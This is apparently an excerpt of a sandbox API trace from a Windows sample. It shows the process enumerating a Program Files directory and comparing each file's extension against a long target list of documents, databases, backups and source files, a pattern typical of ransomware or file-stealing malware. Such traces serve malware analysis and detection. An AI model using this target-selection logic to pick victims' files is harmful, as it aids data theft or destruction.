	[0189.141] lstrcmpiW (lpString1=".der", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".dib") returned 4
	[0189.141] lstrcmpiW (lpString1=".dib", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".dic") returned 4
	[0189.141] lstrcmpiW (lpString1=".dic", lpString2=".inc") returned -1
	[0189.141] lstrlenW (lpString=".dif") returned 4
	[0189.141] lstrcmpiW (lpString1=".dif", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".divx") returned 5
	[0189.142] lstrcmpiW (lpString1=".divx", lpString2="s.inc") returned -1
	[0189.142] lstrlenW (lpString=".djvu") returned 5
	[0189.142] lstrcmpiW (lpString1=".djvu", lpString2="s.inc") returned -1
	[0189.142] lstrlenW (lpString=".dng") returned 4
	[0189.142] lstrcmpiW (lpString1=".dng", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".doc") returned 4
	[0189.142] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".docm") returned 5
	[0189.142] lstrcmpiW (lpString1=".docm", lpString2="s.inc") returned -1
	[0189.142] lstrlenW (lpString=".docx") returned 5
	[0189.142] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.142] lstrlenW (lpString=".dot") returned 4
	[0189.142] lstrcmpiW (lpString1=".dot", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".dotm") returned 5
	[0189.142] lstrcmpiW (lpString1=".dotm", lpString2="s.inc") returned -1
	[0189.142] lstrlenW (lpString=".dotx") returned 5
	[0189.142] lstrcmpiW (lpString1=".dotx", lpString2="s.inc") returned -1
	[0189.142] lstrlenW (lpString=".dpx") returned 4
	[0189.142] lstrcmpiW (lpString1=".dpx", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".dqy") returned 4
	[0189.142] lstrcmpiW (lpString1=".dqy", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".dsn") returned 4
	[0189.142] lstrcmpiW (lpString1=".dsn", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".dt") returned 3
	[0189.142] lstrcmpiW (lpString1=".dt", lpString2="inc") returned -1
	[0189.142] lstrlenW (lpString=".dtd") returned 4
	[0189.142] lstrcmpiW (lpString1=".dtd", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".dwg") returned 4
	[0189.142] lstrcmpiW (lpString1=".dwg", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".dwt") returned 4
	[0189.142] lstrcmpiW (lpString1=".dwt", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".dx") returned 3
	[0189.142] lstrcmpiW (lpString1=".dx", lpString2="inc") returned -1
	[0189.142] lstrlenW (lpString=".dxf") returned 4
	[0189.142] lstrcmpiW (lpString1=".dxf", lpString2=".inc") returned -1
	[0189.142] lstrlenW (lpString=".edml") returned 5
	[0189.143] lstrcmpiW (lpString1=".edml", lpString2="s.inc") returned -1
	[0189.143] lstrlenW (lpString=".efd") returned 4
	[0189.143] lstrcmpiW (lpString1=".efd", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".elf") returned 4
	[0189.143] lstrcmpiW (lpString1=".elf", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".emf") returned 4
	[0189.143] lstrcmpiW (lpString1=".emf", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".emz") returned 4
	[0189.143] lstrcmpiW (lpString1=".emz", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".epf") returned 4
	[0189.143] lstrcmpiW (lpString1=".epf", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".eps") returned 4
	[0189.143] lstrcmpiW (lpString1=".eps", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".epsf") returned 5
	[0189.143] lstrcmpiW (lpString1=".epsf", lpString2="s.inc") returned -1
	[0189.143] lstrlenW (lpString=".epsp") returned 5
	[0189.143] lstrcmpiW (lpString1=".epsp", lpString2="s.inc") returned -1
	[0189.143] lstrlenW (lpString=".erf") returned 4
	[0189.143] lstrcmpiW (lpString1=".erf", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".exr") returned 4
	[0189.143] lstrcmpiW (lpString1=".exr", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".f4v") returned 4
	[0189.143] lstrcmpiW (lpString1=".f4v", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".fido") returned 5
	[0189.143] lstrcmpiW (lpString1=".fido", lpString2="s.inc") returned -1
	[0189.143] lstrlenW (lpString=".flm") returned 4
	[0189.143] lstrcmpiW (lpString1=".flm", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".flv") returned 4
	[0189.143] lstrcmpiW (lpString1=".flv", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".frm") returned 4
	[0189.143] lstrcmpiW (lpString1=".frm", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".fxg") returned 4
	[0189.143] lstrcmpiW (lpString1=".fxg", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".geo") returned 4
	[0189.143] lstrcmpiW (lpString1=".geo", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".gif") returned 4
	[0189.143] lstrcmpiW (lpString1=".gif", lpString2=".inc") returned -1
	[0189.143] lstrlenW (lpString=".grs") returned 4
	[0189.144] lstrcmpiW (lpString1=".grs", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".gz") returned 3
	[0189.144] lstrcmpiW (lpString1=".gz", lpString2="inc") returned -1
	[0189.144] lstrlenW (lpString=".h") returned 2
	[0189.144] lstrcmpiW (lpString1=".h", lpString2="nc") returned -1
	[0189.144] lstrlenW (lpString=".hdr") returned 4
	[0189.144] lstrcmpiW (lpString1=".hdr", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".hpp") returned 4
	[0189.144] lstrcmpiW (lpString1=".hpp", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".hta") returned 4
	[0189.144] lstrcmpiW (lpString1=".hta", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".htc") returned 4
	[0189.144] lstrcmpiW (lpString1=".htc", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".htm") returned 4
	[0189.144] lstrcmpiW (lpString1=".htm", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".html") returned 5
	[0189.144] lstrcmpiW (lpString1=".html", lpString2="s.inc") returned -1
	[0189.144] lstrlenW (lpString=".icb") returned 4
	[0189.144] lstrcmpiW (lpString1=".icb", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".ics") returned 4
	[0189.144] lstrcmpiW (lpString1=".ics", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".iff") returned 4
	[0189.144] lstrcmpiW (lpString1=".iff", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".inc") returned 4
	[0189.144] lstrcmpiW (lpString1=".inc", lpString2=".inc") returned 0
	[0189.144] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x529e643a, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x529e643a, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x529e643a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="adovbs.inc", cAlternateFileName="")) returned 1
	[0189.144] lstrlenW (lpString="adovbs.inc") returned 10
	[0189.144] lstrlenW (lpString=".1cd") returned 4
	[0189.144] lstrcmpiW (lpString1=".1cd", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".3ds") returned 4
	[0189.144] lstrcmpiW (lpString1=".3ds", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".3fr") returned 4
	[0189.144] lstrcmpiW (lpString1=".3fr", lpString2=".inc") returned -1
	[0189.144] lstrlenW (lpString=".3g2") returned 4
	[0189.144] lstrcmpiW (lpString1=".3g2", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".3gp") returned 4
	[0189.145] lstrcmpiW (lpString1=".3gp", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".7z") returned 3
	[0189.145] lstrcmpiW (lpString1=".7z", lpString2="inc") returned -1
	[0189.145] lstrlenW (lpString=".accda") returned 6
	[0189.145] lstrcmpiW (lpString1=".accda", lpString2="bs.inc") returned -1
	[0189.145] lstrlenW (lpString=".accdb") returned 6
	[0189.145] lstrcmpiW (lpString1=".accdb", lpString2="bs.inc") returned -1
	[0189.145] lstrlenW (lpString=".accdc") returned 6
	[0189.145] lstrcmpiW (lpString1=".accdc", lpString2="bs.inc") returned -1
	[0189.145] lstrlenW (lpString=".accde") returned 6
	[0189.145] lstrcmpiW (lpString1=".accde", lpString2="bs.inc") returned -1
	[0189.145] lstrlenW (lpString=".accdt") returned 6
	[0189.145] lstrcmpiW (lpString1=".accdt", lpString2="bs.inc") returned -1
	[0189.145] lstrlenW (lpString=".accdw") returned 6
	[0189.145] lstrcmpiW (lpString1=".accdw", lpString2="bs.inc") returned -1
	[0189.145] lstrlenW (lpString=".adb") returned 4
	[0189.145] lstrcmpiW (lpString1=".adb", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".adp") returned 4
	[0189.145] lstrcmpiW (lpString1=".adp", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".ai") returned 3
	[0189.145] lstrcmpiW (lpString1=".ai", lpString2="inc") returned -1
	[0189.145] lstrlenW (lpString=".ai3") returned 4
	[0189.145] lstrcmpiW (lpString1=".ai3", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".ai4") returned 4
	[0189.145] lstrcmpiW (lpString1=".ai4", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".ai5") returned 4
	[0189.145] lstrcmpiW (lpString1=".ai5", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".ai6") returned 4
	[0189.145] lstrcmpiW (lpString1=".ai6", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".ai7") returned 4
	[0189.145] lstrcmpiW (lpString1=".ai7", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".ai8") returned 4
	[0189.145] lstrcmpiW (lpString1=".ai8", lpString2=".inc") returned -1
	[0189.145] lstrlenW (lpString=".anim") returned 5
	[0189.145] lstrcmpiW (lpString1=".anim", lpString2="s.inc") returned -1
	[0189.145] lstrlenW (lpString=".arw") returned 4
	[0189.146] lstrcmpiW (lpString1=".arw", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".as") returned 3
	[0189.146] lstrcmpiW (lpString1=".as", lpString2="inc") returned -1
	[0189.146] lstrlenW (lpString=".asa") returned 4
	[0189.146] lstrcmpiW (lpString1=".asa", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".asc") returned 4
	[0189.146] lstrcmpiW (lpString1=".asc", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".ascx") returned 5
	[0189.146] lstrcmpiW (lpString1=".ascx", lpString2="s.inc") returned -1
	[0189.146] lstrlenW (lpString=".asm") returned 4
	[0189.146] lstrcmpiW (lpString1=".asm", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".asmx") returned 5
	[0189.146] lstrcmpiW (lpString1=".asmx", lpString2="s.inc") returned -1
	[0189.146] lstrlenW (lpString=".asp") returned 4
	[0189.146] lstrcmpiW (lpString1=".asp", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".aspx") returned 5
	[0189.146] lstrcmpiW (lpString1=".aspx", lpString2="s.inc") returned -1
	[0189.146] lstrlenW (lpString=".asr") returned 4
	[0189.146] lstrcmpiW (lpString1=".asr", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".asx") returned 4
	[0189.146] lstrcmpiW (lpString1=".asx", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".avi") returned 4
	[0189.146] lstrcmpiW (lpString1=".avi", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".avs") returned 4
	[0189.146] lstrcmpiW (lpString1=".avs", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".backup") returned 7
	[0189.146] lstrcmpiW (lpString1=".backup", lpString2="vbs.inc") returned -1
	[0189.146] lstrlenW (lpString=".bak") returned 4
	[0189.146] lstrcmpiW (lpString1=".bak", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".bay") returned 4
	[0189.146] lstrcmpiW (lpString1=".bay", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".bd") returned 3
	[0189.146] lstrcmpiW (lpString1=".bd", lpString2="inc") returned -1
	[0189.146] lstrlenW (lpString=".bin") returned 4
	[0189.146] lstrcmpiW (lpString1=".bin", lpString2=".inc") returned -1
	[0189.146] lstrlenW (lpString=".bmp") returned 4
	[0189.146] lstrcmpiW (lpString1=".bmp", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".bz2") returned 4
	[0189.147] lstrcmpiW (lpString1=".bz2", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".c") returned 2
	[0189.147] lstrcmpiW (lpString1=".c", lpString2="nc") returned -1
	[0189.147] lstrlenW (lpString=".cdr") returned 4
	[0189.147] lstrcmpiW (lpString1=".cdr", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".cer") returned 4
	[0189.147] lstrcmpiW (lpString1=".cer", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".cf") returned 3
	[0189.147] lstrcmpiW (lpString1=".cf", lpString2="inc") returned -1
	[0189.147] lstrlenW (lpString=".cfc") returned 4
	[0189.147] lstrcmpiW (lpString1=".cfc", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".cfm") returned 4
	[0189.147] lstrcmpiW (lpString1=".cfm", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".cfml") returned 5
	[0189.147] lstrcmpiW (lpString1=".cfml", lpString2="s.inc") returned -1
	[0189.147] lstrlenW (lpString=".cfu") returned 4
	[0189.147] lstrcmpiW (lpString1=".cfu", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".chm") returned 4
	[0189.147] lstrcmpiW (lpString1=".chm", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".cin") returned 4
	[0189.147] lstrcmpiW (lpString1=".cin", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".class") returned 6
	[0189.147] lstrcmpiW (lpString1=".class", lpString2="bs.inc") returned -1
	[0189.147] lstrlenW (lpString=".clx") returned 4
	[0189.147] lstrcmpiW (lpString1=".clx", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".config") returned 7
	[0189.147] lstrcmpiW (lpString1=".config", lpString2="vbs.inc") returned -1
	[0189.147] lstrlenW (lpString=".cpp") returned 4
	[0189.147] lstrcmpiW (lpString1=".cpp", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".cr2") returned 4
	[0189.147] lstrcmpiW (lpString1=".cr2", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".crt") returned 4
	[0189.147] lstrcmpiW (lpString1=".crt", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".crw") returned 4
	[0189.147] lstrcmpiW (lpString1=".crw", lpString2=".inc") returned -1
	[0189.147] lstrlenW (lpString=".cs") returned 3
	[0189.148] lstrcmpiW (lpString1=".cs", lpString2="inc") returned -1
	[0189.148] lstrlenW (lpString=".css") returned 4
	[0189.148] lstrcmpiW (lpString1=".css", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".csv") returned 4
	[0189.148] lstrcmpiW (lpString1=".csv", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".cub") returned 4
	[0189.148] lstrcmpiW (lpString1=".cub", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".dae") returned 4
	[0189.148] lstrcmpiW (lpString1=".dae", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".dat") returned 4
	[0189.148] lstrcmpiW (lpString1=".dat", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".db") returned 3
	[0189.148] lstrcmpiW (lpString1=".db", lpString2="inc") returned -1
	[0189.148] lstrlenW (lpString=".dbf") returned 4
	[0189.148] lstrcmpiW (lpString1=".dbf", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".dbx") returned 4
	[0189.148] lstrcmpiW (lpString1=".dbx", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".dc3") returned 4
	[0189.148] lstrcmpiW (lpString1=".dc3", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".dcm") returned 4
	[0189.148] lstrcmpiW (lpString1=".dcm", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".dcr") returned 4
	[0189.148] lstrcmpiW (lpString1=".dcr", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".der") returned 4
	[0189.148] lstrcmpiW (lpString1=".der", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".dib") returned 4
	[0189.148] lstrcmpiW (lpString1=".dib", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".dic") returned 4
	[0189.148] lstrcmpiW (lpString1=".dic", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".dif") returned 4
	[0189.148] lstrcmpiW (lpString1=".dif", lpString2=".inc") returned -1
	[0189.148] lstrlenW (lpString=".divx") returned 5
	[0189.148] lstrcmpiW (lpString1=".divx", lpString2="s.inc") returned -1
	[0189.148] lstrlenW (lpString=".djvu") returned 5
	[0189.148] lstrcmpiW (lpString1=".djvu", lpString2="s.inc") returned -1
	[0189.148] lstrlenW (lpString=".dng") returned 4
	[0189.148] lstrcmpiW (lpString1=".dng", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".doc") returned 4
	[0189.149] lstrcmpiW (lpString1=".doc", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".docm") returned 5
	[0189.149] lstrcmpiW (lpString1=".docm", lpString2="s.inc") returned -1
	[0189.149] lstrlenW (lpString=".docx") returned 5
	[0189.149] lstrcmpiW (lpString1=".docx", lpString2="s.inc") returned -1
	[0189.149] lstrlenW (lpString=".dot") returned 4
	[0189.149] lstrcmpiW (lpString1=".dot", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".dotm") returned 5
	[0189.149] lstrcmpiW (lpString1=".dotm", lpString2="s.inc") returned -1
	[0189.149] lstrlenW (lpString=".dotx") returned 5
	[0189.149] lstrcmpiW (lpString1=".dotx", lpString2="s.inc") returned -1
	[0189.149] lstrlenW (lpString=".dpx") returned 4
	[0189.149] lstrcmpiW (lpString1=".dpx", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".dqy") returned 4
	[0189.149] lstrcmpiW (lpString1=".dqy", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".dsn") returned 4
	[0189.149] lstrcmpiW (lpString1=".dsn", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".dt") returned 3
	[0189.149] lstrcmpiW (lpString1=".dt", lpString2="inc") returned -1
	[0189.149] lstrlenW (lpString=".dtd") returned 4
	[0189.149] lstrcmpiW (lpString1=".dtd", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".dwg") returned 4
	[0189.149] lstrcmpiW (lpString1=".dwg", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".dwt") returned 4
	[0189.149] lstrcmpiW (lpString1=".dwt", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".dx") returned 3
	[0189.149] lstrcmpiW (lpString1=".dx", lpString2="inc") returned -1
	[0189.149] lstrlenW (lpString=".dxf") returned 4
	[0189.149] lstrcmpiW (lpString1=".dxf", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".edml") returned 5
	[0189.149] lstrcmpiW (lpString1=".edml", lpString2="s.inc") returned -1
	[0189.149] lstrlenW (lpString=".efd") returned 4
	[0189.149] lstrcmpiW (lpString1=".efd", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".elf") returned 4
	[0189.149] lstrcmpiW (lpString1=".elf", lpString2=".inc") returned -1
	[0189.149] lstrlenW (lpString=".emf") returned 4
	[0189.150] lstrcmpiW (lpString1=".emf", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".emz") returned 4
	[0189.150] lstrcmpiW (lpString1=".emz", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".epf") returned 4
	[0189.150] lstrcmpiW (lpString1=".epf", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".eps") returned 4
	[0189.150] lstrcmpiW (lpString1=".eps", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".epsf") returned 5
	[0189.150] lstrcmpiW (lpString1=".epsf", lpString2="s.inc") returned -1
	[0189.150] lstrlenW (lpString=".epsp") returned 5
	[0189.150] lstrcmpiW (lpString1=".epsp", lpString2="s.inc") returned -1
	[0189.150] lstrlenW (lpString=".erf") returned 4
	[0189.150] lstrcmpiW (lpString1=".erf", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".exr") returned 4
	[0189.150] lstrcmpiW (lpString1=".exr", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".f4v") returned 4
	[0189.150] lstrcmpiW (lpString1=".f4v", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".fido") returned 5
	[0189.150] lstrcmpiW (lpString1=".fido", lpString2="s.inc") returned -1
	[0189.150] lstrlenW (lpString=".flm") returned 4
	[0189.150] lstrcmpiW (lpString1=".flm", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".flv") returned 4
	[0189.150] lstrcmpiW (lpString1=".flv", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".frm") returned 4
	[0189.150] lstrcmpiW (lpString1=".frm", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".fxg") returned 4
	[0189.150] lstrcmpiW (lpString1=".fxg", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".geo") returned 4
	[0189.150] lstrcmpiW (lpString1=".geo", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".gif") returned 4
	[0189.150] lstrcmpiW (lpString1=".gif", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".grs") returned 4
	[0189.150] lstrcmpiW (lpString1=".grs", lpString2=".inc") returned -1
	[0189.150] lstrlenW (lpString=".gz") returned 3
	[0189.150] lstrcmpiW (lpString1=".gz", lpString2="inc") returned -1
	[0189.150] lstrlenW (lpString=".h") returned 2
	[0189.150] lstrcmpiW (lpString1=".h", lpString2="nc") returned -1
	[0189.151] lstrlenW (lpString=".hdr") returned 4
	[0189.151] lstrcmpiW (lpString1=".hdr", lpString2=".inc") returned -1
	[0189.151] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0189.151] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3fb2658
	[0189.151] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b22f66e, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0cb2730, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1
	[0189.151] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 1
	[0189.151] FindNextFileW (in: hFindFile=0x3fb2658, lpFindFileData=0x35ef08c | out: lpFindFileData=0x35ef08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b9483e2, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7449544e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb3fb1900, ftLastWriteTime.dwHighDateTime=0x1d29faa, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msader15.dll.mui", cAlternateFileName="")) returned 0
	[0189.151] FindClose (in: hFindFile=0x3fb2658 | out: hFindFile=0x3fb2658) returned 1
	[0189.151] HeapFree (in: hHeap=0x750000, dwFlags=0x0, lpMem=0x40398d0 | out: hHeap=0x750000) returned 1
	[0189.151] FindNextFileW (in: hFindFile=0x3fb2418, lpFindFileData=0x35ef308 | out: lpFindFileData=0x35ef308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1
	[0189.152] lstrlenW (lpString="msader15.dll") returned 12
	[0189.152] lstrlenW (lpString=".1cd") returned 4
	[0189.152] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0189.152] lstrlenW (lpString=".3ds") returned 4
	[0189.152] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0189.152] lstrlenW (lpString=".3fr") returned 4
	[0189.152] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0189.152] lstrlenW (lpString=".3g2") returned 4
	[0189.152] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0189.152] lstrlenW (lpString=".3gp") returned 4
	[0189.152] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0189.152] lstrlenW (lpString=".7z") returned 3
	[0189.152] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0189.152] lstrlenW (lpString=".accda") returned 6
	[0189.152] lstrcmpiW (lpString1=".accda", lpString2="15.dll") returned -1
	[0189.152] lstrlenW (lpString=".accdb") returned 6
	[0189.152] lstrcmpiW (lpString1=".accdb", lpString2="15.dll") returned -1
	[0189.152] lstrlenW (lpString=".accdc") returned 6
	[0189.152] lstrcmpiW (lpString1=".accdc", lpString2="15.dll") returned -1
	[0189.152] lstrlenW (lpString=".accde") returned 6
	[0189.152] lstrcmpiW (lpString1=".accde", lpString2="15.dll") returned -1
	[0189.152] lstrlenW (lpString=".accdt") returned 6
	[0189.152] lstrcmpiW (lpString1=".accdt", lpString2="15.dll") returned -1
	[0189.152] lstrlenW (lpString=".accdw") returned 6
	[0189.152] lstrcmpiW (lpString1=".accdw", lpString2="15.dll") returned -1
	[0189.152] lstrlenW (lpString=".adb") returned 4
	[0189.152] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0189.152] lstrlenW (lpString=".adp") returned 4
	[0189.152] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0189.152] lstrlenW (lpString=".ai") returned 3
	[0189.152] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0189.152] lstrlenW (lpString=".ai3") returned 4
	[0189.153] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".ai4") returned 4
	[0189.153] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0189.153] lstrlenW (lpString=".ai5") returned 4
	[0189.153] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
